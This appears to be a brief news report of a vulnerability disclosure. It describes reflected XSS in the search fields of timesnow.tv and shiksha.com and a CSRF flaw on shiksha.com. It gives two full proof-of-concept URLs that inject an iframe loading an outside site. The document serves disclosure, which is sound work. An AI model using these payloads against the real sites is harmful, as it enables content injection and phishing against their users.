Time Now Tv & Shiksha Official Websites Vulnerable To XSS Security Flaw

An 21 Years Old Information Security Expert, Narendra Bhati(R00t Sh3ll The Untracable) From Sheoganj Rajasthan ,Who Recently Acknowledge By Acquia.com and also find Many Persistent XSS And One SQL Injection In A Bank Website has discovered a non-persistent XSS security flaw in the official website of Shiksha.com,Times Of India, News Bullet Sub Domain Of Start News Channel.

Narendra Says- Kailash Bhayya ,Ravi Sir & Sabari Sir This Is For You :-)

Shiksha.com is part of the naukri.com group-Indias No.1 job portal. Other portals owned by our parent company Info Edge are 99acres.com, JeevanSathi.com, Brijj.com and AskNaukri.com.

TIMES NOW(timesnow.tv) is a Leading 24-hour English News channel that provides the Urbane viewers the complete picture of the news that is relevant, presented in a vivid and insightful manner, which enables them to widen their horizons & stay ahead.

In all these websites search fields are found to be vulnerable to the XSS injection.

POC code for Times Of India Tv:

http://www.timesnow.tv/videosearchresult.cms?query=%22/%3E%3Ciframe+src=%22http://www.cyberprotector.tk%22+width=%221000px%22+height=%221000px%22%3E%3C/iframe%3E&srchcombo=1&x=0&y=0

POC FOR Shiksha.com :

http://www.shiksha.com/search/index?keyword=%22%2F%3E%3Ciframe+src%3D%22http%3A%2F%2Fwww.cyberprotector.tk%22+width%3D1000+height%3D1000%3E%3C%2Fiframe%3E&start=0&institute_rows=-1&content_rows=-1&country_id=&city_id=&zone_id=&locality_id=&course_level=&course_type=&min_duration=&max_duration=&search_type=&search_data_type=&sort_type=&utm_campaign=site_search&utm_medium=internal&utm_source=shiksha&from_page=search_page_top&autosuggestor_suggestion_shown=2

 Narendra also found that shiksha.com is also vulnerable to CSRF that allow attacker to change mobile no. of victim by a malicious web page .


Narendra also claimed that he try a lot to contact these all website by email,facebook page etc. But they not replied him from 1 month. After this he decided to disclose this vulnerability and reported to EHN.